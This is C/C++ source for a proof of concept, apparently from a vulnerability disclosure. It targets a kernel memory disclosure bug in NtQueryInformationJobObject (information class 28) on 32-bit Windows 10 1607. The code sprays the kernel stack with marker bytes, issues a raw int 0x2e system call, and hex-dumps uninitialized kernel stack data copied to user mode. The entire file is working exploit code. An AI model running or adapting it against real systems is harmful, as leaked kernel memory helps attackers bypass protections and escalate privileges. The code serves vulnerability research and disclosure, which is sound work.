#include <Windows.h>
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#include <winternl.h>
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#include <cstdio>
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extern "C"
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ULONG WINAPI NtMapUserPhysicalPages(
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PVOID BaseAddress,
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ULONG NumberOfPages,
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PULONG PageFrameNumbers
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);
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// For native 32-bit execution.
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extern "C"
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ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
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__asm{mov eax, ApiNumber};
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__asm{lea edx, ApiNumber + 4};
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__asm{int 0x2e};
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}
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VOID PrintHex(PBYTE Data, ULONG dwBytes) {
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for (ULONG i = 0; i < dwBytes; i += 16) {
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printf("%.8x: ", i);
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for (ULONG j = 0; j < 16; j++) {
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if (i + j < dwBytes) {
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printf("%.2x ", Data[i + j]);
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}
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else {
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printf("?? ");
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}
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}
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for (ULONG j = 0; j < 16; j++) {
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if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
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printf("%c", Data[i + j]);
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}
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else {
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printf(".");
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}
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}
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printf("\n");
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}
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}
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VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
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for (ULONG i = 0; i < size; i++) {
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ptr[i] = byte;
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}
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}
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VOID SprayKernelStack() {
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// Buffer allocated in static program memory, hence doesn't touch the local stack.
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static BYTE buffer[4096];
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// Fill the buffer with 'A's and spray the kernel stack.
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MyMemset(buffer, 'A', sizeof(buffer));
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NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
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// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
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MyMemset(buffer, 'B', sizeof(buffer));
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}
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int main() {
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// Windows 10 1607 32-bit.
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CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;
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// Create a job object to operate on.
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HANDLE hJob = CreateJobObject(NULL, NULL);
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// Spray the kernel stack with a marker value, to get visible results.
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SprayKernelStack();
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// Trigger the bug in nt!NtQueryInformationJobObject(class 28, output length 40).
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DWORD ReturnLength = 0;
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BYTE output[40] = { /* zero padding */ };
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NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 28, output, sizeof(output), &ReturnLength);
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if (!NT_SUCCESS(st)) {
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printf("NtQueryInformationJobObject failed, %x\n", st);
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CloseHandle(hJob);
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return 1;
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}
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// Print out the output.
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PrintHex(output, ReturnLength);
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// Free resources.
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CloseHandle(hJob);
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return 0;
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}
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